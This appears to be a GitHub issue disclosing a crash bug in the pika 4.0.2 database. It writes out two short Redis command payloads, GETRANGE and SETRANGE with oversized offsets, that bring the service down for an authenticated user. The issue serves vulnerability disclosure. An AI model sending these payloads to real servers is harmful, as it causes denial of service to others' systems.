Skip to content

特殊的 Redis 指令可以导致 pika 服务崩溃 #3092

@ankki-zsyang

Description

@ankki-zsyang

Is this a regression?

No

Description

Summary

经过身份验证的用户,可以构建特殊的指令,使 pika 服务产生崩溃。

Details

测试版本:pika 4.0.2
Image
以下两个 payload 都可以造成数据库崩溃:

// GETRANGE 指令(需要重复执行两次):
set key1 abc
GETRANGE key1 1 4294967296

// SETRANGE 指令:
set key1 abc
SETRANGE key1 9223372036854775757 value2

GETRANGE 指令执行结果:
Image
Image
SETRANGE 指令执行结果:
Image
Image

Credit

此问题由深圳昂楷科技的 ankki-zsyang 发现。

Please provide a link to a minimal reproduction of the bug

No response

Screenshots or videos

No response

Please provide the version you discovered this bug in (check about page for version information)


Anything else?

No response

Metadata

Metadata

Assignees

No one assigned

    Labels

    ☢️ BugSomething isn't working

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions